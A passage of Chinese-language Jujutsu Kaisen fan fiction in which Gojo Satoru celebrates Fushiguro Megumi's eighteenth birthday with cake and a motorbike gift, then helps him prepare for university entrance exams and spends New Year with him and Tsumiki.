“嗯。”伏黑惠应了一声,看着窗外的景色不停向后划过。这两年,他从京都到东京往来无数次,第一次感觉心情这么轻松愉悦。 五条悟看着伏黑惠的表情,愈发觉得自己的决定是正确的。 ——就算只早了半天也很值得。 他问:“惠忙了一天,晚上想吃什么?” 伏黑惠从窗外收回目光,看向五条悟:“拉面,您煮的。” 禅院家再怎么样也不会在吃穿上亏待他,但他还是怀念熟悉的口味。 五条悟照单全收,继续问:“只想吃拉面?还想不想吃别的?” 伏黑惠摇了摇头:“这么晚了,不用做太复杂的。” 五条悟煽动道:“惠不要考虑时间,今天可是你的成年礼,通宵也没关系!” 伏黑惠问:“您明天不需要工作吗?” 五条悟面带得意地说:“不需要,我今天就在工作。” 伏黑惠怀疑地看着他。 五条悟理直气壮地说:“去禅院家参加禅院家主的成年礼当然是工作啊!只不过这个人是惠而已。” 伏黑惠:…… “五条家允许您这么偷懒吗?”伏黑惠这么问着,唇边带着笑容。 五条悟的脸色却不太好看了:“惠不要告诉我,你在禅院家连休息的时间都没有。” “不是的。”伏黑惠无奈地说,“我在禅院家的情况,真希前辈不是都告诉您了吗?” 五条悟观察着伏黑惠的神色:“惠生气吗?” 伏黑惠困惑地看着他:“我如果生气会直接跟您说的。” 五条悟松了口气,美滋滋地说:“惠还是这样,一点儿都没变。” 这对于生长期的少年不算是什么好话。伏黑惠不开心地皱皱眉。 五条悟忍俊不禁:“不过惠长高了很多,现在都到我的下巴了。” 伏黑惠的神色一下子就晴朗起来,开心地说:“说不定我以后还可以继续长。” 五条悟赞同地点头,哄道:“肯定会的,禅院家肯定压榨惠的休息时间了!只要惠接下来多吃多睡,一定还会再长高的!” “多吃多睡还得多运动。”伏黑惠纠正了五条悟的说法,“只有猪才只吃和睡。” 五条悟不情愿地说:“惠之前的运动量够多了!”咒术师最不缺的就是运动量,伏黑惠虽然是禅院家主,袚除咒灵的时候也没松懈过。 五条悟心疼地把两只手放到伏黑惠腰上掐住两边,隔着衣服量出来的腰围已经让他心惊胆战:“惠太瘦了!这段时间一定要好好补一补!” 他给惠定做这身和服的时候,裁缝听到尺寸都误以为是女孩子。 “还好吧。”伏黑惠自己一无所觉。他低头看看自己的腰,又看了看五条悟的腰部:“悟先生也没有很胖啊!” 五条悟自信地说:“我的都是肌肉所以不显胖而已。” 伏黑惠不服气地说:“我也有肌肉啊!”谁还没有腹肌了?! 五条悟的手往上,掐了掐伏黑惠的胳膊。 十八岁已经不能称为男孩,应该叫男人了。伏黑惠身体修长,如同一根劲竹,跟他父亲的魁梧身型完全是两回事。 五条悟知道伏黑惠会跟禅院真希一起锻炼体术,但式神使的天赋还是在伏黑惠身上展现得淋漓尽致,包括驱使式神的得心应手和体型上的生理缺陷。 五条悟又顺着往下捏了捏,叹息一声:“惠的腿也就跟我胳膊的粗细程度差不多。” 伏黑惠想踹他。他瞪了五条悟一眼:“我还会长的!” 五条悟想象了一下伏黑惠长成伏黑甚尔那个体型的样子,心里恶寒了一瞬,义正言辞地说:“惠现在这样就很好!” 伏黑惠心不甘情不愿地说:“我知道我的体术是弱点。” 但他没有那么多时间练习,体术不像是式神,处理文件的时候也可以召唤出来培养默契度。为了弥补体术的弱点,只好继续增强式神。 五条悟安慰道:“其实惠现在的体术已经不差了,真希在这方面有先天优势。惠在这个年纪把除了魔虚罗之外的所有式神都调伏还能开领域,已经很厉害了,就连我领悟领域的时间也比惠晚!” 五条悟在伏黑惠面前其实还是有点包袱的,但他也知道这件事禅院家肯定跟惠说过了,说不定还说了不止一遍。 惠明明是他的小孩,根本轮不到他们骄傲!五条悟说:“以后我来训练惠的体术。” 第60章 五条悟主动提出之后, 伏黑惠倒是有点游移不定。 五条悟震惊地看着他,不可置信地说:“惠不相信我吗?!” 有时候伏黑惠会希望五条悟不要这么夸张,嗯, 他上小学的时候大概这么想过, 现在已经早就习惯了。 “我没有。”伏黑惠平静地说,“只是觉得太麻烦您了。” 他没有进入咒术界的时候,对五条悟的忙碌只有一个大概的概念, 但是在成为禅院家主之后没有人比他更理解五条悟多忙了。 五条悟不以为意地说:“再忙训练惠的时间还是有的啊!” 伏黑惠已经给自己找到了训练地点:“算了, 我去东京校就可以。” 五条悟骤然睁大双眼:“惠难道要入学东京校吗?!” 伏黑惠困惑地看了他一眼:“东京校不允许旁听吗?” 他马上就要进行升学考试去上大学了,怎么可能去东京校入学。 五条悟松了口气, 夸张地拍了拍胸口:“吓死悟先生了, 惠要补偿我!” 伏黑惠说:“分明是您自己误会了吧。” “是惠的说法太吓人了, 怎么能怪我误会?!”五条悟目光一瞥, 抓住一个伊地知洁高, “伊地知,你说, 惠的说法是不是很容易让人误会?” “欸?!”无妄之灾的伊地知洁高愣住了,茫然无措地看向后视镜。 伏黑惠无奈地说:“您不要为难伊地知先生。” 伊地知洁高满脸感激地看向伏黑惠。 五条悟委屈地看着伏黑惠。 伏黑惠问:“您不愿意我去东京校上课吗?” “怎么会呢?”五条悟说, “惠想去就去, 没关系的。” 他这么说着, 看起来却有点蔫蔫的, 柔软的白色发丝贴在脸颊上,有几分孩子气。 伏黑惠若有所思地看着他, 说:“您要是不愿意,我就不去了。” 五条悟看了伏黑惠一眼,犀利地说:“我要是说我不愿意,惠以后想训练是不是就会去京都校?” 伏黑惠无辜且坦然地看着他。 五条悟气得脸颊微微鼓起, 不甘心地问:“惠就这么不情愿来找我吗?” 伏黑惠奇怪地说:“都说了是担心麻烦您。” “我不觉得麻烦。”五条悟的嘴角微微抿起,闷闷不乐地说,“本来惠的咒术从一开始就应该是我教的。” 伏黑惠沉默了,他不知道五条悟是在耿耿于怀这个。 他看着在跟谁赌气似的五条悟,有点无奈地安抚道:“本来一开始就是您教的,调伏式神和袚除咒灵都是。” “惠明知道我说的不是这种小打小闹。”五条悟靠坐在椅背上,脸上的表情像是被迫承认什么自己不想要面对的事,“惠第一次出任务的场景我也没看到,开领域的时候我也不在……” 原本这些时候他都应该在惠身边,像是之前一样,用眼睛记下惠的每一次成长。 “您现在已经回来了。”伏黑惠说。他向来是这样的性子,已经发生过的事再怎么后悔也没有意义,只能向前走。 五条悟抬眼看了一眼前面坐着伊地知洁高,什么都没说,只是抓住了伏黑惠的手。 式神使纤长有力的手指落在他手中。五条悟一点一点地抚摸着白皙柔软的手掌和手指,每摸到一个茧子就会细细地在那里打着转。 伏黑惠觉得有点痒,但看着五条悟的表情还是没有说话,任由对方像是抚摸什么柔软的小动物一样抚摸着他。 后座上突然安静下来,伊地知洁高有点不适应地挪了挪位置,默默加快了车速。 五条悟抚摸着伏黑惠手上的茧子,揣摩着每一个茧子的来源,中指的是写字留下的,禅院家有这么多事务需要处理吗?虎口微微发硬的皮肤应该是枪茧,是禅院真依教得吧?手掌根部应该是长刀?还是棍子?反正是咒具,这个应该跟真希的练习有关系。 式神使的体术是弱点,伏黑惠的力量不足也是事实,借助咒具的力量是个好办法。 五条悟冷静地想着,心脏像是被小针戳了一下,流出酸涩的液体。在他被封印之前,惠的手不是这样的。虽然是学校赫赫有名的不良少年,但惠的手上没有这些战斗的痕迹,只是一个打架厉害点的学生。 他若无其事地问:“惠现在更擅长用什么咒具?” “说不上擅长什么。”伏黑惠的眉头微微皱起,仿佛有些不好意思又有些困惑,“真希前辈都教了我一些,我也都学了一点。” 他觉得多而不精说的就是他这样的了,虽然都学了,但是都被禅院真希压着打。 五条悟笑着问:“惠就一直这么喊真希?” 伏黑惠偏过头,小声嘟囔了一句:“不想喊‘姑姑’。” 五条悟哈哈大笑。 “什么咒具都能用才是咒术师的常态,毕竟咒具又不能定制。所以掌握多种咒具的用法是很重要的。”五条悟一本正经地教学完毕,又换了个语气问,“真希没跟你说过吗?” 伏黑惠心虚地说:“……我没问过。” 虽然是有点奇怪禅院真希为什么总是换着花样跟他一起练习,但本来就是他拜托真希前辈一起练习的,当然应该跟着真希前辈的节奏练习,不然也太给对方添麻烦了。 五条悟坏心眼地戳穿了小男孩爱面子的窘况:“因为打不过真希很丢脸?” 伏黑惠不看他,臭着脸说:“您很烦。” 五条悟提高了声音吓得前面开车的伊地知洁高一个哆嗦:“惠觉得我烦?!” “是的。”伏黑惠面无表情地看着五条悟。 五条悟委委屈屈地说:“悟先生好受伤。” 伏黑惠嫌弃地看了他一眼,装模作样地打量着他:“您哪里受伤了?” 五条悟理直气壮地说:“心里。” 伏黑惠一脸一言难尽地看着五条悟:“您最近是不是又看什么乱七八糟的视频了?” “其实还挺有意思的。”五条悟说,“普通人的想象力真丰富,怪不得会有那么多奇奇怪怪的咒灵。” “咒灵跟单纯的想象力还是不一样的吧。”伏黑惠揉了揉额角,他之前看过几个五条悟分享给他的短视频,看完之后感觉自己人生中的宝贵几分钟就这么被浪费掉了。 但之后五条悟再分享给他还是得看,因为五条悟会问他感想。 伏黑惠只有一个共同的感想:这是什么乱七八糟的?! 五条悟一本正经地胡说八道:“惠不觉得那些想象出来的豪门恩怨之类的还挺有意思的吗?” “您是说那些不小心抱错了孩子、还是爱上了丈夫的大伯/小叔/兄弟……说白了不管什么设定都是之前不受重视然后复仇吧。”伏黑惠干巴巴地说,“说起豪门,五条家不就算吗?” “五条家没有这些有趣的事呢~!”五条悟好似开玩笑地说,“其实惠在禅院家的经历也是很好的题材啊!惠想要报复禅院家吗?” 伊地知洁高紧张地握紧了方向盘,听到了伏黑惠的回答后才松了口气。 伏黑惠嫌弃地看着五条悟:“不用了,真的讨厌的话不是应该离得远远的不想接触吗?” 五条悟注视着伏黑惠,墨镜镜片后的蓝眸中说不清是什么感情,唇边的笑意淡了些,似是无奈又似是了然:“惠啊……” 伏黑惠疑惑地问:“怎么了?” 五条悟重新勾起唇角:“没什么~” 惠就是这样,对自己受到的痛苦永远这么不在意。没关系,他会在意的。 汽车终于开到了五条悟公寓的楼下,伊地知洁高松了口气,高兴地说:“五条先生、惠君,到了。” 五条悟转向伊地知洁高,质问道:“伊地知,你很想摆脱我吗?” 伊地知洁高:…… 伏黑惠轻咳了一声:“谢谢伊地知先生,这么晚了还麻烦您真不好意思。” 五条悟听到伏黑惠的话挑了挑眉,没有再针对伊地知洁高说什么,捏了捏伏黑惠的手。 伏黑惠这才发现两个人的手还牵在一起,他把自己的手抽出来:“走吧,不是还有惊喜要给我吗?” 五条悟大发慈悲地一挥手放走了伊地知洁高,带着伏黑惠一起上楼。 在通向顶楼的电梯里,五条悟近乎贪婪地注视着伏黑惠。两人这两年聚少离多,虽然能通过视频沟通,但看视频和在眼前还是不一样的。镜头会扭曲人的视线,也能让人忽略掉一些细节。 五条悟说:“惠长高了,也瘦了。” 伏黑惠礼尚往来地说:“您倒是看着一点儿都没变。” 五条悟弯起眼睛:“悟先生虽然三十岁了,但还是青春靓丽大帅哥,是不是?” “是。”伏黑惠好笑地说。在他的印象里,五条悟似乎一直都没有变过,一直都是这个样子,像一座能遮风避雨的山一样稳稳伫立在那里。 山是不会受到岁月流逝的影响的。他会永远永远在那里,不用担心失去的痛苦。 两人走进五条悟的公寓里,五条悟随手按开电灯开关。伏黑惠从门口的鞋柜里拿出黑色狗狗的毛绒拖鞋换上,又把白色猫猫的毛绒拖鞋也拿出来,抬眼时正好对上五条悟的目光。 五条悟看着伏黑惠在灯光下修长的身影和那双翠绿的眼睛,脱口而出:“惠会怪我吗?” 伏黑惠仿佛对这个问题早有预料,冷静地反问:“我为什么要责怪您?” 五条悟仿佛无法直视伏黑惠的眼睛,挪开了目光,但是很快又看了回来:“我答应过惠不会让禅院家的人来打扰你,我食言了。”【..top】 60-70 第61章 伏黑惠皱起了眉头:“这不是您的错。” 五条悟摇了摇头, 仿佛有生以来第一次承认自己能力不足似的难以启齿:“是我太轻敌了。” 伏黑惠说:“羂索是千年前的敌人,输给他不能叫轻敌。” 五条悟摘下墨镜,身体仿佛卸了力靠在身后的房门上, 仔细一看却还是该直的地方直该弯的地方弯, 这才能发现他的确是教养良好。 五条悟在灯光下露出一双蓝眸,水汪汪地看着伏黑惠,像是不小心摔了花瓶的猫:“惠是在安慰我吗?” 伏黑惠早已习惯了他的做派, 跟他眼神一撞就挪开目光, 踩着拖鞋往里走,貌似淡定地说:“只是在告诉您, 不是什么责任都跟您有关的。” 五条悟微微一愣, 自己也换好鞋, 踩着伏黑惠的步子亦步亦趋地走进屋内, 贴着伏黑惠坐好, 就像当年他把小小的惠抱紧怀里坐在狭窄的沙发上:“这明明是我想跟惠说的话。” 在禅院家这两年,伏黑惠的嘴皮子有着长足的进步, 顿时有理有据地反唇相讥:“那我就是跟您学的。” 五条悟顿时被噎住了,半晌才悻悻然地说:“惠怎么不跟我学别的?” 伏黑惠不想车轱辘话来回说, 于是问:“惊喜是什么?” 五条悟郁闷地看了他一眼, 从厨房里冰箱里端出一个蛋糕。 不爱吃甜食的伏黑惠看着面前这个比他脸还大的蛋糕, 实在不知道这是给他的惊喜还是给五条悟自己的惊喜。 五条悟兴致勃勃地在蛋糕上插蜡烛, 有点遗憾地说:“本来是想要邀请津美纪的,但是她去修学旅行了。” “我知道, 津美纪告诉我了。”伏黑惠说。津美纪今天一早就给他发了生日祝福,也说了不能来参加生日聚会。 他也不想津美纪跟禅院家扯上关系,但现在想想津美纪说的生日宴会应该是指悟先生的邀请,而不是禅院家那个繁复的仪式。 五条悟插好了十八根蜡烛, 点燃,跑去关灯又跑回来,期待地说:“惠许个愿吧!” 伏黑惠看着这人在摇曳的烛光中的脸,闭上眼睛。五条悟看着伏黑惠漆黑浓密的睫毛,在烛光中看着他的脸,觉得惠太瘦了,一定得好好补补才行。 片刻后,伏黑惠睁开眼睛,映着烛光的翠绿眼眸晃了五条悟一下。他吹灭了蜡烛。 五条悟又跑过去开灯,问:“惠许了什么愿望?” 伏黑惠敷衍地打发他:“说出来就不灵了。” 五条悟说:“惠说出来嘛,我会帮惠实现的哦。” “嗯,您已经帮我实现了。”伏黑惠说。他的心很小,只能装下津美纪和五条悟,每年的愿望也只是希望他们平安幸福而已。 “欸?”五条悟开玩笑地说,“惠许什么愿望?难道是狠狠打禅院家的脸吗?” “我才不会许这种无聊的愿望。”伏黑惠把蜡烛一根一根拔出来,小心地不碰到蛋糕本身,“今天只有您在吗?”他记得津美纪说的是生日聚会,听起来不像是只有一个人。 五条悟一脸受伤地问:“惠已经嫌弃我了吗?” 伏黑惠说:“没有,我只是问问。” 五条悟恢复正经:“因为不确定什么时候能从禅院家回来,所以没叫其他人。我也好久没跟惠单独相处了。” 伏黑惠困惑地说:“很久吗?”他们两个人不是昨天刚打完通讯吗? 五条悟大刀阔斧地限定范围:“面对面的,视频不算!” “……好吧。”伏黑惠说,“那您想跟我说什么?” 五条悟抱怨道:“惠就没有什么要跟我说的吗?” 伏黑惠想了想,说:“其实,我还挺感谢直毘人先生的,他教会了我很多。” 五条悟的脸一下子就沉了下去,不开心地说:“惠非得在这种时候提我不喜欢的人吗?” 伏黑惠用看无理取闹的猫的眼神看着他:“是您问我有没有什么要说的。” “提禅院老头做什么?就算他当初不去接惠,我……”五条悟想了想,发现他给伏黑惠设置保护圈还真出点漏洞,他设想过自己不在但惠需要帮忙的情况,但没设想到咒术界所有人都出事了的状况。 他郁闷地说:“当初要是禅院家没横插一手,硝子也会把惠带到东京校的。” “但那样就帮不上大家的忙了。”伏黑惠切了块蛋糕给五条悟,不紧不慢地说:“虽然直毘人先生行动太突然吓到了津美纪,但他也履行了诺言。” 伏黑惠是想告诉五条悟他没吃亏,不用一提到禅院家就耿耿于怀。 但五条悟只觉得伏黑惠心太软,果然被禅院家骗走了,要不是他今天当机立断,再过一段时间说不定惠就要被骗走! 五条悟“哼”了一声,酸了吧唧地用小勺子挖了一口蛋糕吃:“这个蛋糕是酸奶糯米的,惠不尝尝吗?” 伏黑惠顺着他的心意尝了尝。 五条悟期待地看着他:“怎么样?” 伏黑惠客观评价道:“挺好吃的。” “那惠多吃点。”五条悟露出满意的笑容,墨镜挂在领口,随着他的动作一晃一晃的。 伏黑惠很给面子地吃了两块蛋糕,剩下大半个都归了五条悟。伏黑惠每次看他吃甜食的架势都替他觉得牙疼。 “我的牙齿很健康,血糖也是。”五条悟咧出一个露出八颗牙的闪亮笑容。 伏黑惠说:“据说糖吃多了伤肾。” 五条悟倒抽了一口冷气,花容失色地看着伏黑惠:“惠,谁教你这些的?!” 伏黑惠疑惑地看着他:“我听人说的。” 五条悟颤颤巍巍地问:“你知道这是什么意思吗?” 伏黑惠被他的反应弄得莫名其妙:“什么意思?” 五条悟松了口气:“不知道就好。” 伏黑惠终于懂了。他用一言难尽的目光看着五条悟,提醒他:“悟先生,我成年了。” 五条悟炸了:“惠今天才!成!年!我就知道禅院家不是什么好地方!这些腐朽的家族都一样,搞什么乱七八糟的族内联姻,十几岁就嫁嫁娶娶,满脑子污糟思想,不知道还以为他们活在百年前……” 他的惠!他单纯可爱的惠为什么会知道这种玩笑啊?!将来是不是还要开更加乱七八糟的玩笑了?! 伏黑惠看着跟被炸了毛的猫一样上蹿下跳,嘴里还絮絮叨叨的五条悟,感觉自己快要被问号淹没了。 “悟先生,”他忍无可忍地开口道,“就算是高中校园里也会有人开这种玩笑的!” 五条悟紧急刹车,不可置信地看着伏黑惠:“普通人的高中这么糜烂吗?!” 伏黑惠扶额,耳朵通红。他又是不好意思又是不服气地说:“您在高中的时候不会开这种玩笑吗?” 五条悟心虚地目光游移了片刻,那当然也是会的,高中男生嘛……但是,“惠不一样。”五条悟的脸纠结得皱起来,“惠还……” 他想说惠还小,但是突然意识到今天就是伏黑惠成年礼,他不小了。 五条悟注视着伏黑惠,面前的人长高了,虽然身型瘦削,但是一点儿也不柔弱,如同一根劲竹,在天地间生长着。 ——不再需要他的保护。 “反正不行!”五条悟说,“惠不可以!” 伏黑惠从他的独断专行中感觉到了一点气急败坏的味道,因此也没生气,只是不解地问:“不可以什么?” 他甚至不知道事情是怎么发展到这一步的。原本两个人庆祝生日吃蛋糕还好好的,他只是开了个玩笑吧?难道咒术界不能开这种玩笑? 伏黑惠看着五条悟,怀疑他是不是因为太忙,更年期提前了。 ‘不可以离开我!’ 五条悟舌尖在牙床上一点,把这句突如其来的话咽了下去。他从来不是个控制欲强盛的家长,只要惠好好报备行踪,想去哪里都可以,也不会去干涉小孩交朋友,但现在他后悔了,小孩的交友还是应该经过合适的筛选。 谁教的惠这种污言秽语?!那些人都在用什么眼神看他的惠?! 五条悟深吸了一口气,试着用跟以前完全不同的目光看着伏黑惠。 小朋友的身体已经长开,四肢修长、腰身柔韧。禅院家的血统一向顽固,大多数人都容貌昳丽。伏黑惠皮肤白皙、睫毛浓密、眼尾狭长,粉色的唇瓣轻轻抿起,现在眉头轻蹙看着他的样子,甚至说得上冷艳。 五条悟抬手揉乱了自己的头发,像是想要理清自己繁杂的心绪:“惠,你和同学也……经常开这种玩笑?” “我上学的时间本来也没多久。”伏黑惠不解地看着他,谨慎地问,“这种玩笑很过分吗?” “唔……就,不太尊重人吧。”五条悟含糊其辞地说,“不是好孩子应该说的话。” “……对不起。”伏黑惠信了,五条悟又没必要骗他,他甚至有点内疚,“我不是故意冒犯您。” “欸?啊……不是,没有,我没觉得冒犯。”五条悟有点玩脱了的感觉,但是很快就扭转回来,“咳,我没关系,我知道惠没有恶意,但是面对别人的时候不能这么说了。” “我知道了。”伏黑惠也有些懊恼,他没想让五条悟不高兴。 五条悟看着伏黑惠低落的样子也有点不知所措。他站在原地愣了两秒,轻咳两声转移了话题:“咳,我给惠准备了礼物,惠想看看吗?” 伏黑惠配合地抬起头。 五条悟看着那双青翠透亮的眼睛,一时间有点心潮起伏,匆匆忙忙地揭露了他精心准备的惊喜:“我给惠买了辆机车,惠上大学应该用得到。” 作者有话说:想象一下,说叠词词、骂人会骂菠萝的惠有一天开黄色笑话,五条悟:这什么污言秽语污了我家小孩的耳朵?! 第62章 伏黑惠见到了那辆机车, 就停在五条悟的车库里,外表是纯黑金属色,很酷的款式。 “谢谢悟先生, 我很喜欢。” 五条悟观察着伏黑惠的神情, 看到那双翠绿的眼睛闪了闪,才松了口气。惠从小性格内敛又很讲礼貌,说喜欢不一定是真的喜欢, 说讨厌也不一定是真的讨厌。 五条悟细心观察了很久才确定, 惠眼睛亮晶晶的时候才是真的喜欢。 从六岁到十八岁,十二年了, 五条悟在揣摩伏黑惠的喜好上也有了长足的心得, 但看到伏黑惠是真心实意喜欢他挑的礼物还是很高兴。 人一高兴的时候就容易多话, 五条悟开开心心地说:“我本来想十八岁可以考驾照了, 想给惠买辆车。但是后来一想考驾照也需要时间, 车可以等惠十九岁生日再送。” 五条悟说完后沉默了,他是不是把惠明年的生日礼物剧透了? 伏黑惠眼中带笑:“大学用机车比较方便, 我也没有什么需要开车去的地方。” “嗯。”五条悟认为需不需要和有没有不是一回事。车可以放在车库里不开嘛!但现在伏黑惠的重点不在买车上面是好事,明年他先想想别的, 把送车压成了备选方案。 他淡定地说:“惠有需要开车去的地方找伊地知送你去就好了。” 伏黑惠摇了摇头:“我已经不是咒术师了, 不用麻烦伊地知先生。” 既然不再做咒术师, 这些属于咒术师的便利当然也不能再用了。 五条悟的嘴角落了下来, 闷声闷气地说:“惠不是咒术师了,跟我也要撇清关系吗?” “我没那个意思。”伏黑惠解释道, “伊地知先生负责您的行程本来就已经很忙了,我没什么事……”他看着五条悟一脸熟悉的‘我不听我不听’表情,改口道,“我知道了, 有急事的时候,我会记得麻烦伊地知先生帮忙的。” “有急事的时候……”五条悟对这个定语相当不满,但是也知道伏黑惠的性格不可能因为伊地知洁高是他的辅助监督就随便使唤。 伏黑惠不来就他,他就去就对方,以后多关注惠周围的事就好了。 五条悟转换了心情,提议道:“惠,要试试机车吗?” “明天吧。”伏黑惠看了一眼外面已经黑透了的天色,在五条悟反对之前撂下一句,“而且机车的驾照我也没有。” 五条悟愣住了:“机车也需要驾照吗?!” “是啊。”伏黑惠习以为常地解释道,“机车驾照根据排量分成几个等级,一般一个月之内就能拿到了。” 五条悟偶尔会显得有点缺乏常识,他一直作为咒术师生活对普通人的日常了解不足,都是跟惠和津美纪一起生活补充的,但是因为两个孩子之前年龄没到还没了解过这方面的事。 他自己连车都不开,能记得开汽车需要驾照都是交警日常检查到位了。 五条悟趴在沙发上抱着沙发扶手,腰身自然凹下去一块,唉声叹气地说:“我还以为明天能带着惠去飙机车呢!” “您要是很想去的话……”伏黑惠看着那双亮闪闪的蓝眼睛,在短暂的卡顿后冷酷无情地说,“等我考完升学考试,我们可以一起去。” “升学考试!”五条悟表现得比伏黑惠还兴奋还紧张还兴致勃勃,“还有三个月时间,我一定会好好照顾惠的!” “啊?”伏黑惠茫然地看着五条悟侃侃而谈,“我问过硝子和津美纪了,备考的时候需要营养充足、睡眠也要好、需要一些助眠的东西和有营养的饭菜,惠的卧室里我把床上用品都换成了惠以前喜欢的牌子……” 伏黑惠看着五条悟如临大敌的表情,张了张嘴:“接下来我住这里吗?” 五条悟的话骤然停住,转头看伏黑惠的眼神分外不平:“我就说惠要丢下我!” “没有!”伏黑惠先是断然否认这种如同谴责他抛妻弃子的语气,然后底气不足地说,“我只是……我以为我会回家住?” “不行!”五条悟果断说,“津美纪去名古屋了,琦玉只有惠一个人,我不放心!” 伏黑惠忍不住吐槽道:“就算我住在这里,大部分时间也只有一个人吧。” 五条悟眼睛一亮,美滋滋地说:“惠是希望我多陪你吗?可以哦!” “没有这个打算,请您认真工作。”伏黑惠习以为常地叹了口气。算了,反正都是他自己,住在琦玉和住在这里也没什么区别。 但他没想到五条悟说话算话。他这三个月见到对方的时间比之前两年都多。 五条悟解释那不怪他,惠住在禅院家,他想去也不能天天去啊! 伏黑惠眼睛盯着课本,敷衍地点头,式神使一心二用的本事发挥到极致。 备考这件事,五条悟并不陌生,之前伏黑津美纪已经经历过一次。虽然他一个人不好上门,但隔三差五就会打通讯关心一下津美纪的心情。伏黑惠也是一样。 他们两个互相打通讯的时候,聊完五条家主和禅院家主的正事也会聊起属于五条悟和伏黑惠的日常。 伏黑惠还是打算考东京大学。因为涉谷事变被放出的千万咒灵,东京大学直接人才断档,但这么多年的历史传承还在。之前的东大毕业生们或是身居高位或是在学术前端,有权有钱有势有才,不可能看着母校就这么分崩离析。 现在东京以警视厅和警察厅的紧密合作为中心,势力最大的就是东大法学的金表组。有他们大力扶持,东京大学这块牌子也算是稳下来了,今年是第一年恢复招生。 五条悟对于伏黑惠想留在东京这件事举双手赞同,离禅院家越远越好! 伏黑惠自己则是因为东大的奖学金和助学金都很高,学习资源也很好。 三个月的备考时间,担心打扰伏黑惠复习,五条悟过年的时候都没让人过来,五条家和禅院家的人都被他挡在门外。 他回五条家参加过新年宴会,直接瞬移回来陪两个孩子过节。伏黑姐弟坐在公寓的大客厅里,听到窗户的响声,一同转过头来看他,把五条悟逗笑了。 津美纪作为普通人一时还有点反应不过来。伏黑惠起身给五条悟开窗,抱怨道:“您就不能走门吗?等一下,我去拿拖鞋。” “好~”五条悟被屋里的暖气熏得懒洋洋的,把围巾解下来,大衣脱掉,一起搭在臂弯里。 伏黑惠去鞋柜里拿出毛绒绒的猫咪拖鞋。五条悟把鞋换上,弯腰把鞋拎起来,走到门口把外衣和鞋都放好。 伏黑津美纪踩着粉色的兔子拖鞋去厨房里端了一碗红豆沙出来:“悟先生吃点甜品暖和一下吧,还有烤橘子和烤年糕。” “好耶,谢谢津美纪。”五条悟朝着他们走,被伏黑惠转了个方向,“先去洗手。” 等三个人一起坐下来的时候,电视中的红白歌会正播放到最激动人心的投票环节。 五条悟问:“惠和津美纪觉得哪一方会赢?” 伏黑惠说:“都好吧。” 伏黑津美纪说:“我比较喜欢红方。” “那就投红方了。”五条悟按着手机。 跨年的钟声响起,悠远的钟声中带着古老的祝愿。 “新年快乐!”三个人一同举杯,庆祝充满希望的新一年到来。 他们三个人已经很久没有一起过年了。伏黑惠享受着房间中弥漫着的红豆和棉花糖的香甜气息,还有橘子被烤后的水果香气,是家的味道,跟禅院家的清冷气息是两回事。 五条悟从烤炉上拿下两个橘子,拨开,分给伏黑惠和津美纪一人一个。 “谢谢五条先生。”津美纪接过橘子,放在手心里暖着手,笑眯眯地看着五条悟和伏黑惠。 五条悟关心地问:“津美纪在名古屋感觉怎么样?” 伏黑惠的目光也看了过来。 “我很好,大学生活和中学不太一样,时间上更加自由,但学习压力也变大了。”伏黑津美纪娓娓道来,“不过大学的活动很有意思。” “津美纪有在那些有意思的活动里认识新朋友吗?”五条悟继续剥橘子,这次是给他自己的。 “嗯。”伏黑津美纪大大方方地说,“也认识了几个新朋友,大家有共同的兴趣爱好,都相处得很好。” “真好啊,希望将来惠也能在大学里交到新朋友。”五条悟感慨地说,“惠将来打算加入什么社团?” “现在想也太早了。”伏黑惠把手里的橘子吃完,给五条悟的烤棉花糖都翻了面,“等入学之后再说吧。” 伏黑津美纪问:“惠将来会去警视厅或者警察厅上班吗?” 伏黑惠说:“我还没想好。” “没关系啦!”五条悟说,“惠和津美纪不用考虑这个问题,就算不上班也无所谓,悟先生很有钱。” 伏黑惠说了个冷笑话:“嗯,而且我还可以卖身去禅院家。” 伏黑津美纪:…… 五条悟:…… 伏黑惠津美纪无奈地说:“惠……过年的时候禁止说地狱笑话!” 伏黑惠面露困惑。 五条悟捂住心口,张牙舞爪地说:“我好受伤啊,惠!有我在还需要惠卖身吗?!就算是卖,难道惠不能卖到五条家一定要卖去禅院家吗?!” 伏黑惠无语地说:“……我卖到五条家有什么用?” 禅院家好歹希望他回去做家主,他去五条家干嘛? 五条悟想了想,又想了想,理直气壮地说:“惠可以来陪我玩!” 第63章 新年的聚餐似乎让一切都回到了正轨。三个人的餐桌、三个人的公寓、两个人的假期。 五条悟扒住门框, 看着房间里的伏黑惠和津美纪:“惠~津美纪~” 伏黑津美纪朝着他挥挥手:“五条先生工作顺利。” 伏黑惠是复习到一半出来喝水,端着水杯很冷漠地扫了他一眼,转身回书房。 五条悟不可置信地睁大双眼, 跟津美纪告状:“津美纪, 你看惠!” “惠要复习。”津美纪忍俊不禁,“五条先生晚上想吃什么?” “津美纪不用忙了,晚上等五条先生回来大显身手!”五条悟依依不舍地往屋里看了一眼又一眼, 不甘心地喊道, “惠~你不跟悟先生告别吗~” 书房的门开了。 五条悟眼睛一亮。 伏黑惠走了出来,朝着他点了个头:“悟先生, 伊地知先生已经在楼下等了您很久了, 请不要继续撒娇了。” 五条悟怀疑地说:“伊地知跟你告状了?” 伏黑惠说:“没有, 我能看到。”车就停下楼下, 他从窗户里能看到。 五条悟目光灼灼地看着他:“惠只能看到车吗?” 伏黑惠说:“悟先生工作顺利, 早点回来。” “没问题!”五条悟开开心心地说,“惠和津美纪等我一起回来吃饭哦!” 伏黑惠看着五条悟像是明星离台一样朝着他们挥了挥手, 花哨地带上房门,吐出两个字:“幼稚。” 伏黑津美纪“噗嗤”一声, 痛快地笑出了声。 伏黑惠困惑地看向津美纪:“津美纪?” 伏黑津美纪笑容明媚地说:“惠和五条先生的关系还是这么好。” 伏黑惠摸了摸后颈:“哪有……我去复习了。” “嗯。”伏黑津美纪看着伏黑惠通红的脖子, 觉得分别两年的弟弟也还是她熟悉的惠, “真好……”津美纪弯起眼睛, 阳光下似乎有水光在闪,她小声说, “真好。” 另一边,五条悟在跟各路高层开完会之后,溜溜达达来到了家入硝子的办公室。 “硝~子~” 家入硝子听到他的声音就知道自己难得悠闲的休息时光结束了。 于是五条悟推开门的时候迎面而来的就是一支钢笔。 五条悟接住了钢笔,然后被钢笔水甩了一道:“你干什么, 硝子,幸好是蓝衣服。” “我烦。”家入硝子伸手问他把钢笔要回来,“你不回去陪惠和津美纪,来我这里干什么?” 五条悟烦恼地说:“惠这两天晚上睡得不太安稳,硝子你看要不要买点什么营养品给惠补一补啊?” “考前焦虑啊?”家入硝子说,“怎么不安稳?是睡不着还是睡得太轻还是做噩梦?” 